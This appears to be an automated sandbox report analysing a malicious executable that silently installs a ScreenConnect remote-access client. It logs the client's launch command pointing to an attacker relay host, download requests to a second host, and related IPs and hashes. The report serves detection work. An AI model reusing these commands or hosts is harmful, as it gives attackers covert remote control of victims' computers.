Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Overview

General Information

Sample name:	SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe
Analysis ID:	1638406
MD5:	f575dfa1a624610b143b2a699be652bf
SHA1:	4190ab427f3b77782569ac92f22bce1395cdc13e
SHA256:	38cb2c4523fa8863671c8895686fecaa57649876ac9f17dc98edc07f0ff2ee84
Tags:	ConnectWiseexeuser-SecuriteInfoCom
Infos:

Detection

ScreenConnect Tool

Score:	51
Range:	0 - 100
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

.NET source code references suspicious native API functions

Contains functionality to hide user accounts

Detected potential unwanted application

Reads the Security eventlog

Reads the System eventlog

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

One or more processes crash

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Stores large binary data to the registry

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe (PID: 6820 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe" MD5: F575DFA1A624610B143B2A699BE652BF)

dfsvc.exe (PID: 6956 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

ScreenConnect.WindowsClient.exe (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe" MD5: AFA993C978BC52D51E8AF08A02892B4E)

ScreenConnect.ClientService.exe (PID: 7040 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i=" "1" MD5: D3E628C507DC331BAB3DE1178088C978)

WerFault.exe (PID: 5640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6120 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6820 -s 860 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 6956	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6472	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.ClientService.exe PID: 7040	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.ScreenConnect.WindowsClient.exe.350000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DestinationIp: 192.168.2.8, DestinationIsIpv6: false, DestinationPort: 49683, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 6956, Protocol: tcp, SourceIp: 172.67.152.68, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304, CommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WerFault.exe, NewProcessName: C:\Windows\SysWOW64\WerFault.exe, OriginalFileName: C:\Windows\SysWOW64\WerFault.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i=" "1", ParentImage: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe, ParentProcessId: 7040, ParentProcessName: ScreenConnect.ClientService.exe, ProcessCommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304, ProcessId: 5640, ProcessName: WerFault.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Virustotal: Detection: 17%			Perma Link
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	ReversingLabs: Detection: 26%

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_00761000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree,

0_2_00761000

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 172.67.152.68:443 -> 192.168.2.8:49683 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe
Source:	Binary string: (}C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb@ `5M source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.00000000007FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @(o.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdbJ source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: ScreenConnect.Windows.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb8 source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdbnt( source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERE665.tmp.dmp.8.dr
Source:	Binary string: \ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ScreenConnect.ClientService.pdb8 source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ScreenConnect.Core.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2709412544.000002728079C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280238000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496697785.0000000000D20000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000288E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1444630870.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000005.00000000.1105925658.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2709412544.0000027280088000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496639128.0000000000CD2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERE665.tmp.dmp.8.dr
Source:	Binary string: o0C:\Windows\mscorlib.pdb[!x source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb;?*b source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.pdbl source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ?(oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbT source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: oXC:\Windows\ScreenConnect.ClientService.pdbx source: ScreenConnect.ClientService.exe, 00000005.00000002.1443855463.0000000000558000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2709412544.00000272807CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280234000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728060C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1445175509.0000000004B22000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.000000000075E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2709412544.0000027280614000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.00000272806D5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728023C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1445573934.0000000005112000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbd8m source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.2709412544.0000027280088000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496639128.0000000000CD2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: System.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr

Spreading

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_00764B9B FindFirstFileExA,

0_2_00764B9B

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\	Jump to behavior

Networking

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.8:49710 -> 95.214.234.11:8880

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i= HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 172.67.152.68 172.67.152.68

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

